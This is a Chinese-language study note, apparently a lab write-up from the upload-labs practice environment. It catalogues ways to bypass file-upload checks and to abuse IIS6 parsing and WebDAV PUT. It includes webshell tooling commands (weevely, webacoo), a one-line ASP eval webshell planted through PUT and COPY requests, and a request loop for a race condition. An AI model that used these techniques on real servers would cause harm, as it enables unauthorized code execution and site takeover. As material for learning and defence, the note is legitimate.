文件上传漏洞基础学习(笔记)
绕过JS验证
实验环境:upload-labs
JS验证代码:
burpsuite剔除响应JS
方法:对于JS前端验证,直接删除JS代码绕过
配置:
上传页面源码包含验证οnsubmit=“return checkFile()”
上传一个1.jpg,使用burpsuite进行抓包,Forward,burpsuite自动删除了响应JS的代码
上传test.php,成功
浏览器审计工具剔除JS
利用浏览器审查工具剔除JS之后,保存为新文件进行文件上传
添加文件上传位置
打开新文件,上传文件,成功
上传webshell,菜刀连接
利用:一句话木马
此处采用kali的weevely:
生成webshell.php并上传
远程连接
weevely http://192.168.56.141/upload-labs-master/upload/webshell.php pass
绕过MIME-Type验证
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型
代码验证:
burpsuite绕过MIME-Type验证
抓取请求后在Repeater中重放修改MIME-Type类型绕过验证,也可直接在proxy中修改,例如:
Forward,上传成功
绕过黑名单验证
对于黑名单中的后缀名筛选(通过寻找不在黑名单中可执行脚本绕过):
通过burpsuite寻找黑名单中未过滤的后缀名绕过黑名单验证:
抓取请求,发送到Intruder中,添加变量,修改后缀名
导入字典或自行添加后缀
Position-Start attack,查看响应,php后缀上传失败,其他后缀上传成功
复制链接,访问上传文件,验证成功
.htaccess绕过
在Apache中如果要使用.htaccess,需在http.conf中设置AllowOverride
在黑名单中如果没有对.htaccess过滤,可直接上传htaccess来设置使用php解析任意文件
文件内容:SetHandler application/x-httpd-php
制作图片phpinfo探针并上传
首先上传.htaccess文件(通过另存为保存规避键入文件名),然后将phpinfo代码保存为一个jpg文件并上传
之后通过链接访问info.php
大小写绕过
Windows下大小写不敏感,Linux下敏感,直接修改后缀名PhP上传文件
利用WeBacoo上传webshell:
webacoo -g -o a.php
上传a.php,连接webshell:
webacoo -t -u “url”
空格绕过
Windows下对文件名空格会做空处理
使用burpsuite截取请求给文件名添加空格
.号绕过
Windows下文件后缀名最后一个点会被自动去除
特殊符号绕过
Windows下上传文件test.php::$DATA会在服务器上生成一个test.php文件
路径组合绕过
在没有对上传文件进行重命名的情况下,用户可以自定义文件名并在服务器上传新建
例如:1.php.+空格+.
双写绕过
原理:只对黑名单进行空格替换且只替换一次
直接将后缀名改为pphphp
绕过白名单验证(%00截断绕过)
原理:0x00十六进制,ascii码0字符,有些函数处理时当作结束符,系统读取文件名时,遇到0x00,就会认为读取结束(PHP5.3之后已修复,并且其受限GPC,addslashes函数)
GET型%00截断
GET型提交内容会被自动进行编码,上传成功以后,通过URL访问
利用:使用php中的system函数执行GET提交的参数
乱码通过 view-source: 或查看源代码解决
POST型%00截断
POST请求中,%00不会被自动解码,需在16进制中进行修改00,即添加一个空格,将对应16进制的20修改为00
图片webshell上传
对文件二进制格式的前几个字节检查,判断文件类型,通过在代码开头添加特定代码规避
GIF98A
通过burpsuite利用Content-Type验证修改为image/gif或image/jpg符合当前文件类型的MIME
然后利用文件包含漏洞(使用include、require、include_once、require_once函数包含的文件都会被当作PHP代码执行,先前已上传)
竞争条件
在服务器检查上传文件非法,准备删除之前访问文件,从而执行代码
方法:通过python不断发送HTTP请求
import requests
while true:
requests.get(“url”)
中间件解析漏洞-IIS6.0
1、当建立*.asa、*asp文件夹时,其下的任意文件都将被IIS当作asp文件解析
2、当文件名为*.asp;1.jpg(jpg可换为任意后缀名)IIS会将其当作asp文件解析
IIS6.0 PUT
WebDAV 基于HTTP1.1协议的通信协议使得HTTP支持PUT MOVE COPY DELETE方法
利用nikto探测是否具有PUT漏洞
-nikto -h IP地址
利用burpsuite:
1、探测是否存在IIS PUT漏洞:
OPTIONS / HTTP1.1
Host: www.xxx.com
2、上传txt文本文件
PUT /a.txt HTTP1.1
Host:www.xxx.com
Content-Length: 30
<%eval request(“chopper”)%>
3、通过Move或Copy重名
COPY /a.txt HTTP1.1
Host: www.xxx.com
Destination: http://www.xxx.com/cmd.asp
4、删除
DELETE /a.txt HTTP1.1
Host: www.xxx.com
IIS6.0解析漏洞及修复
IIS6.0解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
IIS6.0文件解析漏洞修复方案
1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹。